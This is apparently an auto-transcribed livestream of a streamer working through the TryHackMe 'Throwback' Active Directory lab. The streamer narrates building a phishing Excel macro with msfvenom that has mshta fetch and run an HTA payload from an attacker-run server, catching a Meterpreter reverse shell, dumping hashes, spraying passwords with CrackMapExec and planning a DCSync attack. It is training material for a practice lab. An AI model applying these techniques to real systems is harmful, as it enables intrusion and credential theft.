176 We got it So What the heck is going on on that thing? I would need to be able to access that through foxy proxy So I do need to Use the socks for proxy And the proxy server is running. I can proxy chains curl That ip address and that will work So if I am doing it within firefox Will that work it does nice? Oh, that's awesome Cool, I actually haven't been able to do that before like I've done obviously a decent amount At least somewhat amount of pivoting and auto routing and port forwarding and socks proxy stuff between a lot of the elurne security certifications But funneling it through foxy proxy is is nice because you can actually see web pages With this in mind We do know that we have access to the Change password functionality and we saw that in mail and I think we saved the Yeah, we saved the url. So let's actually add this into My It's that rehost file. So you don't know it's that rehosts And we have 10 224 176 With timekeep throwback.local So now I should be able to go to That location and it will load just fine and back in sublime text We have this and I can get to murphy or specify a password just like that Like literally making the get request. I think we'll change the password so Before I do that, I want to make sure that's really what I should be doing yep From the email we get the link is a virtual host the timepiece server to access it. We need to set our etc host file great I've done that After updating our host file, we can navigate to the link and reset a user's password. What is the host name of the device? Throwback time. Is that what you mean? yep What is the Title throwback hacks time keep Throwback hacks time keep Dunzo What user was the passive reset for oh, they did it for murphy f We got it cruising through all right After doing everything that you can do with your initial footholds Didn't we just read that exact sentence? Yes, okay Word to your mother I don't know what that's from other than mother the video game right here From what I understand earthbound. Is that right? Ness and Lucas after doing everything you can with your initial foothold your team thinks it's time to look at the resources and services We've opened while moving to the network Part of this question will require a valid credit card or debit card or access to excel excuse me What? What why you need my credit card? Picture this you're a manager for one of the top accounting firms in the united states As you walk across the floor you notice one thing in common every device has the microsoft office suite installed This shouldn't be any surprise to you as reported in microsoft 2019 in a report office 365 has 180 million users For an attacker. This is extremely large attack surface as an attacker. All you need to do is get one person to click Oh skid. Hey, what's up? Hey skiddy. Yes, I realize okay. It's saying you need access to excel Uh, and I should be able to downfall of an organization Not my actual cracker. I follow. I'm I'm good To start we'll cover creating a simple macro And this scenario will be using excel after that we'll move on to creating a malicious macro So I have been doing this A little bit Uh With e c p t x or the e-learn security penetration testing extreme so and I've been doing that on my Other machine here because this is my x1 carbon Think pad Lenovo thing So that's running windows and I was able to get excel and powerpoint and stuff on that and I've been using lucky strike Because I was exploring I would tinker around with like doing visual. Oh, thanks. Yeah lucky strike bowling I get that lucky strike github or whatever And there are some guides and documentation for it but I've been doing some visual basic stuff to be able to figure out and learn how to write one of the macros On my own and have some fun with it But I also just take a look at lucky strike which we'll go ahead and like Create and put together this macro for you It sounds like you can just as easily do that with MSF venom as this suggests and recommends so if it's totally cool with me skipping down it says here If none of those options work for you scroll into the section to generating macros with msf venom Let's we might do that. I'm running linux, obviously So I don't immediately have access to excel on this machine specifically I'm just kind of reading what they're using here though Starting up a power shell command So let's say we want to step it up a notch and require the user to not interact with the macro to trigger the remote connection Is this possible? Yes, easy next question Am I going to switch to z shell anytime soon john? Yeah, I'm doing it right now obviously Why didn't you say so earlier? Oh god, I don't want to do this thing Yeah curl a completely arbitrary random online web location Z shell sudo apt install z shell There you go, this is prime twitch chat taking advantage of the ability to completely distract the streamer at any point they want z shell z shell Check it out Now i'm running z shell. All right, sweet back to what we were doing All right, we got john to install z shell now. It's time to do some binary exploitation We'll do some like fun romp emporium after this Yeah, I should get oh my z shell and make this a lot more pleasant than just the random weird percent prompt But we're doing this right now We're learning about visual basic code to write malicious macros Uh, we're gonna press the i believe button on this because I know that I need Microsoft office and that is on this other machine and I would set up like remote desktop or Like some vnc thing to be able to do that, but I don't have that set up right now And I don't want you to be bored Not being able to see that so They're using a msh ta the html application Generating macros with msf venom alternatively you could just make msf venom do this whole thing for you Yeah, uh, I think I saw someone make a little poll request for using the stabilized shell scripts from the poor man's pentest Um, it's you just need to put fg and the stty raw minus echo commands on the same line Separated by like a semicolon for some reason. That's what you got to do to get uh, you like your netcat stabilized stuff to work but uh okay So All you really need to do is create a malicious macro with the vba format Yes, jackson. This is saying keep this in mind. This only creates the visual basic strip code Not the macro like the macro code not the excel itself Yeah, oh sweet. Good call Venom and yeah, is the uh, all my z shell column in row size. That would be very good to have Do I need to be able to have excel to be able to do this? right now I guess I can like go install Microsoft in the virtual machine that I have but like when we tried to open up the virtual machine the last stream and video it was like whoa It like it wouldn't load a darn thing So we can try it and I guess I'll Fire up this machine that's beside me Oh, no Hey welcome abdud a dubs Forgive me for not knowing how to say your name I don't know the easy way to just go ahead and turn on Terminal services for this other machine that I could connect into But uh, it would be at a different resolution and stuff would just be kind of funky. So Let's not do that. Let's see if our virtual machine will behave And let's find out if we actually even need to do this Optional welcome back Yeah, we're gonna figure out if we can do some macro stuff because Sure, we could make msf venom create Like the visual basic script, but I still need to package it and do an excel file And I'm on linux so I I've done this and I do this in ecptx Or the very very start of the e-learn security penetration tests are extreme What web server accepts xlsms as file up nodes? What what did we talk about web servers whatsoever? Okay, where's this coming from? Oh, I didn't log in to timekeep. Yeah Is that this thing is it throwback? time Yeah, fine. Thank you. Appreciate it. Jackson was We should set murphy jay's password to password Thanks, and I got a flag All right, let's keep that in mind Put it in the read me here I don't know what number this is. So let's go find out real quick before we Before we go crazy Throwback time is number 10 so save that and We don't need lucky strike now we go ahead and log in with murphy F with all caps password as our password incredible So we can upload a timecard Pardon me wants to save this password. So I don't forget, but This is a link And we need an upload timesheet dot xlsm okay Looks like that is what I should have been looking at for this next session What page is the file upload in? That is in time sheet dot php What is the name of the xlsm That you can upload timesheet dot xlsm Incredible do I need to go ahead and make this thing to get onto the box Yeah It looks like we do okay So let's try and make this excel file. I guess Let's get ready to install microsoft office in a virtual machine. All right Excel painstakingly slow windows Virtual machines Microsoft office Yeah, he's like oh boy strap in boys. This should be fun This is moving at a 10 frames per second The virtual machine is Please scroll down I'm moving my mouse to scroll down Can I just download it please? Or is there a download button? Buy now Buy high Sell high Perform business transactions while high That's a joke that we say a lot Yeah, this is the equivalent of running hash cat on the xps. It's like no We're trying to run a windows 10 virtual machine exactly I just want to download link Frequently asked questions. Where's the download? Is it because i'm on google chrome? Will it only display if i'm running edge?  I want to get office button And I want to actually be able to get office Jackson this is sending along. Hey, I didn't try this earlier But if you want to give it a go this looks like evil office, which we'll be able to create an xls or excel file with a macro Do is does it have any examples like a doc x file or anything that I can just put stuff in No, it doesn't look like it I feel like this would work, but it looks like it needs to have an original doc x file I mean I can just like find something like Look at anything on the internet and just make a regular doc x file, but You took me back to the exact same page you were on earlier am I I'm glad we're doing this as a stream because I would hate this As a video or i'm like i'm just Functionally not functioning right now You can use excel online for free Genius excel online I don't need to do that in the stupid virtual machine excel online Or maybe like google Would be able to do it You can tell it's excel because it's a grid What is happening? No, no, no Everything's no Just give me office excel Yeah, google docs can probably do it We're going We'll do macros in the online version. I don't think it will but we could download this excel file that it will give us And then we could pre-plan it in with that uh little evil office Maybe like as an option Yeah, just download the xls file book one the holy book one dot xlx What was in that downloads folder was there anything sketchy Making sure they're not Make sure there was nothing bad as I open that up This is uh The risk of me doing a stream right is that uh when I open up my file systems of like my actual machine There's nothing weird This is a picture that I made To invite my friends over for a weekly friday a weekly pizza friday get together So It was a good meme. It was a good joke. We had a great time. Yeah Tell your friends Come on over for pizza friday Yeah, yeah night wolves like whoa That looks great john. You're an artist All right, we're doing track me that's what we're doing Enough enough distractions Let's do uh like a macros folder. Let's slap that in there Yeah, I'll tell everybody excel so Now I'm using z shell to make everyone happy, but I'm no longer to make myself happy Uh, we'll go into that macros directory and we'll use msf venom with the payload Oh, keep in mind. This is not an xslm file You're right It's crippling Can you save a copy to one drive? Can I like change the file format xlsm is just one with macros enabled? Is it not? macro enabled spreadsheet Can I just like Enable macros and then change it? data Where do they put those? insert It's probably not going to work in the online one honestly Solution is to run windows at all times download excel Go to download I don't want to buy it I just want to download it No, I don't want to participate in your surveys Try one month free I'm pretty sure I actually bought it already earlier Like while I was doing the course for ectp ectp tx I was like, yeah fine, whatever Take my money microsoft so I can run A singular attack. Yeah, thanks krillix I see we're making john suffer again Does ubuntu come with open or libre office? Uh, it should come with one thing This offer is for new customers only. I don't care Can I download please? Yeah, you aren't sorry So we have a libre office calc Will that be able to like save it as a xlsm Oh my gosh It can Theoretically it can save it as an xlsm file. So I'm going the wrong directory because I am having a lobotomy From my inability to make an excel file Excel Do it. I don't care use that format Move that bus ls rm excel.x File excel microsoft excel 2007 Theoretically with macros enabled We're going on uh We're we're kind of going on a trip here We're kind of really rolling the dice to see if this evil office thing will also even work for us So proxy chains you don't need anymore. Oh, that would probably that probably had some cool output That would have been good for me to look at but the it's over now. So And I don't need that htp server over there and I don't need that shell. So let's kind of Move this a little bit And let's hop over to opt and get clone evil office Let's see if we can get this to work python 3 That's a number two Evil office what why would why why would you even have that? If you have evil office if you have windows you would need to use that tool Are you just are you just checking that with like os? No, you're good. You're good. You didn't know That's not like any of us actually read the source code for the open source project that we're looking at on github. It's okay Yeah, yeah, yeah can I just Make a macro in librae office Internet will librae office Macros run on excel macro Yeah, I would I would agree I would I would think that this probably wouldn't work Worth a try But I guess we'll just continue to flail around aimlessly on the microsoft website And try to download this office.com. Oh my gosh It's an actual install button Will it do it? Install office on all of my computers.  Is there there's no Someone someone Is there just a only get excel option? Please That's the thing I feel like you have to download the entire gosh darn package We're gonna again.  Yeah I need to enable it Remote desktop settings enable remote desktop confirm Did he do it? What's the ip address here? Close close close close close close all windows on the separate computer that you can't see Close close close close Keep going office. You keep trying to do your own thing ip config My ip address let's see if that'll work Let's do the reminisce See if we can rdp to this guy I accept And That needs an initial Why? That user is fine that user is allowed Yeah, just a moment just a windows moment That's a thing It's like crippling for me to work And a windows thing and I mean I need to obviously practice and get better at it, but it's like I should have a windows ready environment, but And that's why I like literally ran windows on my machine for a little bit because I kind of wanted to just have it and get better at it And do wsl things But that didn't work I mean it would just kind of be It would hinder anything else that I actually tried to do that was relatively somewhat interesting Do I need to like reboot this after I've enabled it for some reason because it's windows? Yeah, yeah people that are watching the previous video are like cool. This is perfect I actually have time to watch the other thing This is going to take an eternity Yeah, I feel like a normal a normal thing would be I guess normal people would run windows as their host and then their linux vm on In vmware But I just dislike that because I had just have a much more better experience on linux and I just use that Natively or I try to anyway I'm gonna make sure this is the same IP address real quick It gave me the like let's finish setting up your device and then I got really concerned Like did you just re did you just revert? Did you just like uninstall everything and reinstall it windows? Like I don't trust you anything Well, our virtual machine is slowly installing office Or downloading office. It's still going to take an eternity to do that so another thing that is an option is using like my elgato to try and uh Get the screen capture of this device into the obs screen recording But that's janky man Fun fact, you can't rdp to local host It does not let you I just wanted to test it Enable remote desktop is on keep my keep my pc awake for connections when it's plugged in Uh make my pc discoverable Let's go to advanced settings Nope Do I need to like open that firewall port? Use the pc name To connect to it Hmm Let me at least kind of look on Oh no, no, I mean if Don't like feel sorry for me. I mean, I appreciate that I'm just trying to Scramble to think of a decent way to do this without making everyone like sitting agonizingly waiting and boring benefit And drawback of doing a real-time stream office is going And we should have it on my virtual machine realistically I've been using it on that other machine here, but I don't know why rdp just like isn't letting that happen. I don't know Let me They're on the same network You're open, man Well, I am Where's my actual 98 98 yeah So why did I why was my name repeatedly in my prompt here? Let's tune in on our windows machine They'll be done in just a moment.  I think we uh I think we would have gotten our achievement At this point recently added excel. Oh my god Is now the time Is this really when it happens? Have we finally come this far?   Sorry So Let's Get this Vd is this msf venom thing rolling on Let's hop into the macros directory and Let's do our msf venom tack p windows meterpreter Reverse tcp we'll set our lhost to equal ton zero. We'll set our l port to equal What do we want? What what yeah, my machine does not like snapshotting really sorry about that What port guys? We're doing some quads 4224 that's the first one I got It's happening Now we just specify the visual basic script as macro dot vba Go And I could use tack o Oh, you would use the hta server? Oh like instead of meterpre Oh, so that way we could kind of like get back to it really smartly. Can't we? Uh, you guys covered that didn't you? Hmm hta doesn't get picked up by antivirus men if yeah, it's true and I said venom's gonna get like crapped on That's a good call so Let me Justify myself and just slapping this code here This is going to end up creating a macro right sub will be a sub routine or like a process or a function Um that this code will run this visual basic code will run auto open We'll call that sub or that sub routine that function We've already defined that and we'll be creating a new process running shell We're returning the process id and we'll use msh ta or kind of the microsoft html application interpreter for hta stuff Uh on an hta server that metasploit will configure and work for with us c949 etc etc I'm getting pinged on discord So with that said I have no shame copying and pasting this We do however need to go ahead and create that hta server. So We've got our metasploit stuff running over here. Let's use hta server Now we've set that up We can show our options we can Set l horse excuse me l host 2 ton zero set l port to 4224 I suppose Um, what else did we have in here? That's kind of it, isn't it l horse? I'm glad you guys like that Get out of here actual virtual machine now that you finally have Uh excel and that's all that we do That's literally it Set up the hta server And make it ready to rock Okay Run Now you exist here So Let's make the macro Ourselves They use auto open here We need to make Our ip address be what that's actually reaching out to So we'll slap that in And The code that we had used was just a sub There we go And msh da will just call out and run that so Now we've got that visual basic script Now we need to wait. Do we need to modify it? Do we need to change this whatsoever? The one that msf venom used I don't think so like ours will should should just work.  It's worth a try sorry I'm responding to uh I'm responding to messages on the discord was getting distracted Yep, new green screen. We fear it's worth a try be kind of fun to see how it looks And it's kind of fun and cool with the chat up there. So Um, now that we have this visual basic script, we will want to create a new macro thing So it's under data Insert insert insert macros I can't stand dealing with excel. I'll be completely honest Let me just roll back to kind of where this all was Creating a simple macro create a new work group work book and head over to the view tab view macros Now I need to uh Create a new one What do we want to call it? We'll call it macro Use LibreOffice. Well right now we're doing this to make a little excel Macro that we'll use for phishing What happened? Okay, hello world will be the name of our function that'll invoke mshta. We'll reach out to our interpreter hta file and Creative i'm glad you really like that macro name. They called it my macro. I'm just not trying to be as possessive Slap it all in PowerShell invoke to download We don't need to do that We do want to just use the mshta to grab it and run it so Return of the macro good jokes guys.  It's a stand-up comedy show Okay, I think that's all we need Is that not all we need? so I'm just gonna do it Is there a way to save this as like Let's let's try a proof of concept. Let's see if my victim machine will be able to get it um Time sheet Dot xls m with the macro enabled one done right So at that point I have This machine running over here I have this mshta server started I can see that with jobs mshta server he's running He's waiting to catch some good stuff there. So far to open this up I Need to activate excel.  Oh my lord windows John makes me sad. He hasn't laughed at our task titles yet. The x. Yeah, this x is trolling me This whole button is trolling me. What the heck? All right, now it's gone. Now it's gone. Uh, I want it to run the macro though Hello mshta is that microsoft html application It has a better word for it. Uh, there's an actual thing mshta Windows to execute html applications Microsoft html application host Should this thing run should this thing kickstart? There we go macros have been disabled.  Should we just send it to them and see if it'll work? Oh, man Who are we sending this to? We got our malicious macro. We got our religion. Oh, no, we're just uploading it.  Look You know what I can do check this out if I hold down the control w button All of my problems go away. I don't know if I want to close collab cat though Because we might need him again as we tend to do Dragon drop should be a thing uh install Guest editions Oh my gosh. I really honestly thought That this already had that That's the thing. I can't stand virtual machines. You guys know Yeah, vmware honestly Would be the better option I used to use vmware. You guys probably have seen that in some in some videos I don't think I have a license anymore Please run Yes, god dang it email it to yourself Virtual box over vmware because virtual box is free What is going on? What is it? Is it uh vmware Works at vmware player vmware player is the one that's free, isn't it? Yeah use libvert and kvm Everything should be a kubernetes container running on the blockchain All of this just for a macro file exactly you got to do what you got to do Kubernetes blockchain is the future. That's right. I'm glad you guys are having fun. I love you guys hanging out in the chat Thanks for thanks for being here We got to do this more often What number monster is that I see uk devolk 19. This is still number one. This is still number one It's beautiful though because the green Is being eaten by the green screen Alrighty Let's see if we can please for the love of god transfer this file again now Yes, this is a task continuation from last night. So uh, we're doing throwback From try hack me and it is a long exercise. I don't think we actually have a ton left, but I mean we probably do Hello atomic blackfish. We are doing throwback from try hack me Change the settings of the vm I think it has both there. Hey, welcome everybody. I appreciate you coming to hang out Yeah, I could set up a set up a shared folder and I I always that's always a pain too, you know Bidirectional is totally fine. I don't know why I have three command prop windows that just open up for some reason Now can I drag this file over I so so wish I had like impact it or something Should we do this shared folder? Should we just stick and email it? Should I This is just agonizing guys. Oh extend lab time. Thank you. Thank you. Thanks for the reminder We still got oh, we still got an hour and 25 put it on g drive or something. That's an option From the top you get options for drag and drop In settings drag and drop drag and drop bidirectional It's still on Can I copy and paste out of the virtual machine into this? There's no way that's a thing Maybe it's like just this folder. Maybe Nautilus is like no, I don't want you to move those Why is this spinning?  Yeah, acrylics.  Yeah, maybe this has uh Maybe this is any running actually running ssh right now. That's a good call Did it it didn't copy it? How do I make sure that ssh server is running? How can I make sure that I can actually ssh into this? Yeah Just just echo it into base 64 and then copy and paste it 10 0 to 15 We're gonna get this We're gonna we're gonna rescue this poor machine This poor excel file. Here's what we'll do Create a new folder 10 to 15 is not it. Oh, you're Yeah, this is true. This is true Right out the file by hand Can I make a shared folder? I guess I would need to change the uh Like network settings for that. Would I not? You're right. This is knadded.  I don't want ipv6. Thank you. Thank you. Thank you SSH this gosh darn thing is ssh even a thing Yeah, I need to install like python on this thing. I'd love to be able to spin up the like Python HTTP pp server with upload and download enabled Share share this folder Anyone can access it Is everyone like a thing? Share Yes Great You can email this or copy and paste the link Uh Uh paste Hello, hello Paste please Okay, that's a thought Now let's do smb 10 000242 John With my password Would that work? Oh my god Am I still john h on this thing? I think username has to match the email like The stupid windows account email Why is that a thing? There's no way I don't get it, dude Honestly, don't Yeah, who am I would work Who are me? Just john h dude, literally it put it on a flash drive This is hell What have we succumbed to? Dodge slash john Why would that I don't know would that work?   I actually hadn't seen that like Forcing it to turn on Yeah, file.io would also be fine And the suffering Why do you have to install open ssh? I thought you just had it, man You tell him Usb would work Sort of python ftp sir realistically this goddamn machine should have python on it So let's do that while ssh is doing its thing Hey, check this out on the python web page. There is a download button on the very very first page Unlike Microsoftoffice.com Yeah, that's just true. I am just installing the client So I might not be Doing it right Hold on. Yeah, just compromise my machine krillix I don't know what you're waiting for everyone has been saying end the suffering Hurry up and install python save us save us our holy save your python Open ssh server is now installed. Is that a thing like is it running? Can I ssh locally? How do I start it? How do I I need to censor myself This is this is the the hysteria limit. I'm almost at now Is it literally it's not services on windows is it? What No, uh Something crashed behind me What what what was what is what is this ubuntu thing? Okay, whatever whatever ubuntu That's fine That's fine python hurry up man I need to add sshd The internal server error is just me SSH Open ssh server Run always Start now and now python's done installing It's probably not on my prompt yet. Is it probably not Okay windows What's kind of what is what microsoft share?  It's a ssh local host. Yes Oh my god After all this time Will it work on my host? Yes, yes Now I need to use john h specify a password Excuse me That's literally the Is the microsoft pin Is the is the windows pin different from a regular password?  Yeah It's uh net user john h throwback Excuse me Open it up from the system prompts This is agonizing Okay, I'm done with this. I literally I'm just gonna go to the python method. I'm so sorry We've wasted so much time together I've grown like 30 years in age. How is this? Managed I just want to get to like Environment variables, please Can I just Get advanced settings? Please system properties Your pc is monitored Incredible Does it just show up in the star button if you search for environment variables? There it does It sure do Okay path Dear god program files Where the foop is python right now Nope It's in program files python.  What where did we tell python to install to? Is where a command in windows?   Right now we're just trying to get a stinking file out of this virtual machine Because virtual box guest editions is just Not Letting it happen Oh, does windows have an fdp client? That's a thought What is a quick uh Does it just type pi?   That's a timesheet.xlsm. Okay, great. So now let's pi tack m Http.server please for the love of god. Give me a web server Okay, okay. Yeah allow access on the firewall totally cool I was I was tweaking out because running python opened up the microsoft store Oh That's not python Okay firewall Can you go away now?  We're here. We're here. We're at the home stretch.  Where do I even go at this point?  Do you think this will even work? Is it supposed to work? Please stop swearing CTF Try hack me We know that this is going to be wrong like there's no way that this is over Upload the thing Okay Your file timesheet.xlsm has been uploaded in ministry. We'll review it soon So in that xlsm file we added a macro that would connect out to an hta server that is running on my machine On port 8080 Right Is that right Or did we type 424? Did we have the wrong port? The listener is running I mean I ran run.  I'm in. What a complete waste of time That's right Krillix You gotta you gotta overreact And make sure it's fun for everybody Now my meterpreter session is about to close isn't it? I know how to do meterpreter things. I think I hope so Yeah, oh, that's true. Let me uh, let me very very quickly make sure that we have Time we got four minutes remind me in four minutes chat to go ahead and add some more time on our network We need to be in a system process So we need to migrate to a new process Who am I right now? I should be I am a local administrator. Apparently that's awesome. Okay. I like to normally migrate to like win log on Because I know that's a big boy So let me uh migrate Tag capital n to win log on dot exe and let's see if that succeeds Fingers crossed Cool. Now I should be able to run hash dump And I got a lot of hashes. We got peanuts account. Nice Yo Pyrute We need to make a new folder Let's move into uh Hosts and make a directory for timekeeper I should do this in cherry tree and honestly like as I as I went through this more and more and especially as I was thinking last night I was like, dang uh Yes, the amount of readmes is kind of insane and unreal especially because uh Which we need time we got timekeeper and that's the one that he's asking there What's users hash? What is the user's hash starting from the third colon? So first colon second colon Do you mean like the entire rest of the string or do you mean like The absentee thing. I think you want the one after that like the actual hash That yeah, what is the administrator's hash starting from the third colon? That's this guy What is notion? Maybe we'll find credit card numbers to pay for our excel. Yeah What is the user's cracked password? um We could Hash cat it again if we really really wanted to whoa I feel like crack station should be able to solve this one Yeah, do we still have our goddamn collab cat? That I closed while literally saying I probably shouldn't close this. Oh, thank god Maybe pentest ws. Yeah, no, that would be a good one too.  That's it. That's another good one Okay We can check that out nice We're getting close I'm gonna be doing some database stuff. All right sequel Now that we have foothold on the timekeeper server we can Being to enumerate what information oh begin we can begin to enumerate what information we can find from the server We can assume it is running a sequel database somewhere because it had a login page We can also assume the web server is running exempt from the sequel and slash holder within the local disk With this information we can easily find where the sequel database is stored and how we can access it Now we're going to deep dive into a little bit of how my sequel and the sequel database works. Yep Everyone's yelling at me go ahead and add more time Success Sorry, you just got a profanity warning rule as john dropped 20 f bombs I'm sorry Oh, sorry Thanks Shilpoi if you chipped in for a VMware license. Thank you so much I don't have any of the cool like bells and whistles announcements for Like bits or things and things For twitter. I need to uh, I need to get better at that. I need to get that started Uh one moment. I am being requested to go do something so Please forgive me I need to drag this window up put the children to bed Do you stream on both youtube and twitch simultaneously? Uh, I don't think that is something that their terms of service is cool with Uh from what I understand I am gonna ask for uh a bio break also in just a moment As soon as I am done with What I've been tasked to do Now I'm getting more discord notifications Roger okay Now let's do a really really cool stupid, uh Background thing. Let's let's install sl Obviously, this is important Let's install steam locomotive Add more time to the box. Did we add we already added more time? I think we're good. I think we're good Now that we've got steam locomotive. I'm gonna do something different We're gonna do something other than yeah. Yeah matrix. We could do that in the locat We get a lot of good stuff in line. We could do sl for steam locomotive. I think that one is extremely important and then We'll set a new sublime text window that'll say Be right back In three to five minutes This is perfect. This is perfect Let's set The transparency here And then let's do a little while one Do sl and like sleep for like a tenth of a second so hopefully I can still control c out of it perfect perfect Hold this down a little bit Okay, great Be right back three to five minutes make that the full screen Oh, I got it's got to go down one line. No, it's perfect. That looks great All right, everybody give me a little bit of time. I'll be back in just a little bit Thank you. Thank you. I love you What's up? Hey everybody Thanks for uh, thanks for sticking with me. I'm glad everybody's still still hanging out 50 of you guys. You're incredible. I love you so much Thanks for the welcome back Gotta wait for this this L command to finish. All right control c out of this Fantastic, uh, and we don't need that tab anymore Okay This is the real John you can tell uh because what is going on with that stream right now Oh, it looked really funky. Is my stream just dying currently Is that just a twitch preview right now? Or is the stream going crazy for everyone else too? Okay, it's good on your machine Maybe my chrome session just like gave up. Oh, no, okay. It looks all it all looks better now. I'm sorry. I just had to Refresh the page Sorry about that You do the sanity check You can tell it's me because as is uh as is the norm As I come back from another break. It's time to crack open round two of the monsty. So We're going all in We're going big Let's get back at it Uh, I'm gonna change this profile back to what it was And my interpreter session on prod died great That's fine. I don't need prod currently Where we at doing some sequel Regular sequel And now we could work with this machine Uh, let me go ahead and do that evil win RM to get into it or ssh actually Can I proxy chains ssh into this machine? 224 and we are on 176, right? Looks like we need to specify the user as timekeeper And did that have ssh? Does it have evil win RM? This session suggested now that we have the hash Ssh and to throw back time I just did And it didn't like it 10 24 176 Oh I needed to use prod I needed prod Dang it I needed prod for my uh For my proxy Because that's what I was proxying out of Let's reset that back Uh, we were working with Peter's j And he is password was throwback 317 Gotcha Okay Let me resize that again So you can see here I still am in this directory and I no longer have my met So I need to go redownload that Where did I have not a shell? It's an interpreter Okay, so let's let's bring that back up Python to HTTP I think I already had that server running over there.  So I can do a wkw get command as an alias to Invoke web requests. I am 22 50.5 50.22.5 Yes, 8,000 on not a shell dot exe And let's tack. Oh that to met dot exe Okay, thanks for hanging out piece dude. What other jobs do I have run? Do I still have that? Uh No, I'm not. I'm not. Okay. Let me go back to use multi handler And then set my payload to what it should be Interpreter reverse tcp. Yep Uh 10 0 And that was four two. Oh shoot four one four one Oh god, I don't remember I think that was it. I really hope that was it Met please please interpreter Yeah, I'm on prod. Okay. Good. Good. Good. Good So let's use auto route set session four And set the Subnet to 10 224 zero slash 24. Hey, welcome. What's up? What's going on? That should be good I think that Jobs is still running. So Can I ssh now properly? Yes. Yes. Excellent. I can and his password was keeper of time Awesome. Okay. So now I'm back on the box I'm doing okay. I'm doing okay. I'm doing some try hack me Uh throwback and it's a lot of fun So now that I'm back on the box of timekeeper with a real regular command prompt shell not just meterpreter It's good to have meterpreter But now it's good to have this actual shell so I can go into exam And take a look at that my sequel that we got here. So that's in exam dir sorry i'm not in uh And my sequel is the directory there So now I should be able to just run my sequel. Oh, no, it's in bin. Is that right? dir Is there a mysql client? There is mysql.exe excellent And do they have credentials for this already? I can hear oh, oh, oh from here We could try the password that we got from throwback workstation 1 when kerber roasting the sequel service account We did get that mysql password during that and that we know is a service account That would authenticate with this service. So tack root tack p And paste that guy in I didn't paste him in paste that guy in awesome. And now I have access to the database I'm in a command line interface for working with my sequel. So Regular enumeration. I could show the databases that are prevalent here and I have Domain users, which is a peculiar database pets test and time keep users Uh, we're probably going to want to go check out the domain users page Oh great. We found pets What database are the time keep users logged in as? They are in typing users What database are the domain users located in probably domain users? Uh Domain users Domain users Did I have a typo there? I probably did and I just didn't realize it. So What table was located in the domain users database? Let's go ahead and use that domain users database and then let's show tables to see what we've got here Looks like I see users super easy. What is the first username in the table? So let's select all from users and see what we've got There's a flag in there Clemson's d Oh, I'm sorry. I did I had domains users. Thank you I realized my typo submit that flag I'll do it I'll do it Let me jot this down real quick good And I'll bring this up to task four when I get my flag submission panel Uh, what is the sequel flag on throwback time that is number 12 Uh, oh, there's a root flag on that on that page let me 12 goes here Let me move this up Did I have 11? Oh no, that's uh, that's the root flag um, I am In there is meterpreter on time. So let me interact with three In my metasploit session and I am a user administrator. Oh, I'm actually system. Yeah. Okay fantastic So under users, I think I have an administrator User account I can go in there and in his desktop We should be able to find a root dot text, which I can go ahead and cat that out awesome And we should go ahead and submit that for 11 Let me just Note that in my read me Grab that prompt here Great Okay Um, now let's get back to where we were a lot of scrolling We're done with that sequel now. We're doing this thing now that we've dumped a list of users on the domain And we need to generate a word list of users an attempt to password spray Gotcha Yeah, I should probably take note of all of these users real quick So let me select all these in a weird junky way, but I'm gonna do it anyway And I will Remove all the white space and things that are getting in the way here I'll put this into my user names dot text file that I've kept and Now we have that so To password spray domain users with crack map exec or cme You'll first have to format your user list similar to how you format it with hydra That's fine. I just did that after formatting our user list We can use cme to password spray across the domain and gain access to domain accounts We can not only use the user list we got from the database or namely what Or namely, but we can also use a custom password list rather than spraying one password at a time Okay When running the password spray make sure to tunnel it through proxy chains or it won't be able to validate That makes sense After password spraying, um Should we use our old passwords list that we had? Or should we be using rock you? Let's I guess just find out So How much did we have in that passwords list we had a few And we actually know that we have some other passwords in here So Let me throw timekeeper in this username list as we know that And let me open up that passwords dot text list and actually add in some of the others that we know So keeper of time was one of them We also saw in the meme cat's logs. We had Some clear text passwords signed in ftw This is what's good thing we keep our log here password. I'll search for all these passwords entries And just see if I have anything new Sign in ftw There are 39 matches in here. So forgive me for frantic sublime text scrolling but There we go. Blair has a password that we knew of earlier Put that in our password list and No, sorry password Did I miss Something that's the only one. Those are the only clear text ones we had right Okay, gotcha. Yeah, I appreciate it critics. I realized some of the typos. I'm sorry I hope maybe this is good like you like you mentioned like it's kind of cool to walk through this and see some stuff that might be uh I don't know that could be polished Okay, let's do the thing now that we've got this. So let's do proxy chains opt crack map exec cme um smb and the protocol and the machine that we want to get to so 200 24 117 and u for usernames and p for passwords And let's see if we get any hits I'll zoom out on this and let it go. Oh Wait What is happening? I probably should move the domain list up shouldn't I? Yeah, sorry. Let me let me switch the usernames to start With the domain users because I know those are kind of the most valuable ones that we care about right now We'll run that one more time Log on failure. I don't think is a bad thing right now because we are password spraying So we'll see if we get a hit And we are working through these. Okay, so Should I use rock you just in case any of these fail? We are using our common We're using the weak passwords list that we wrote earlier Jackson says no, this is good All right Hopefully we'll get a hit. We know our summer 2020 was in there a little bit I was able to hit a ton of the email accounts when we were Hammering against squirrel mail Which users are you using that we're using the new list of domain users that we just got from the For the database that we pillaged Domain users or that timekeeper users We're using domain users I didn't even go into timekeeper users honestly I guess I should I think I had success using the timekeeper users. Okay Yeah, I probably should have continued to actually uh Use timekeeper users. I probably should have continued to whatever show databases Time keep users. I probably should have continued to pillage this uh database here cd users. What am I doing? uh Whoa flag Okay, let me take note of some of this Thank you Thank you for redirecting me to To do smart things rather than the stupid things that I was doing Did I already submit that flag? You're right. I did That's the exact same flag as earlier Fantastic Well, we have a new list of passwords. So that's kind of handy I don't know what's going on with this white space here. What weirdness that's doing Davies j is in here twice Some of these are funky What is that going on whatever Nothing new. Nothing. Nothing successful yet from cme Peter's j is just a weird one apparently so Okay, we have the right list. Okay. Thank you krillix because I got tired of finagling this list. I don't know why this is weird Like this some blind apparently counts this as a whole line so Did we get any success that I didn't see earlier? Sorry scrolling scrolling scrolling Nothing yet Jeffers d with good old throwback 2020 Yeah Okay, okay We got a hit Jeffers d with throwback 2020 um I wonder if there's another like it would be good to kind of run this again, but uh Like kind of remove some of the others like the users that we went through But if we got a domain user on the domain controller, then I think that's cool Oh, sweet. We're gonna do that dc sync attack We have valid credentials on the domain controller And we need to elevate our privileges so we can dump hashes and enumerate further We can use bloodhound to find potential attack vectors Enumerating dc sync rights with bloodhound The easiest way to enumerate a domain controller is by pulling domain information using sharphound and using bloodhound to visualize the data Remember using task 24. You can kind of refresh your memory on using this I did see That find principles with dc sync rights and that kind of led me down that rabbit hole within bloodhound queries tab You can run that From bloodhound we can find there is a backup account that has d sync rights that we can use to dump the hashes Uh, I don't have bloodhound running anymore. Do I oh, I still do. Whoa. He's just tucked over in the back here All right All right, let's go to throwback.local and shore dc Right. Oh goodness What am I looking at spooks And mercer h 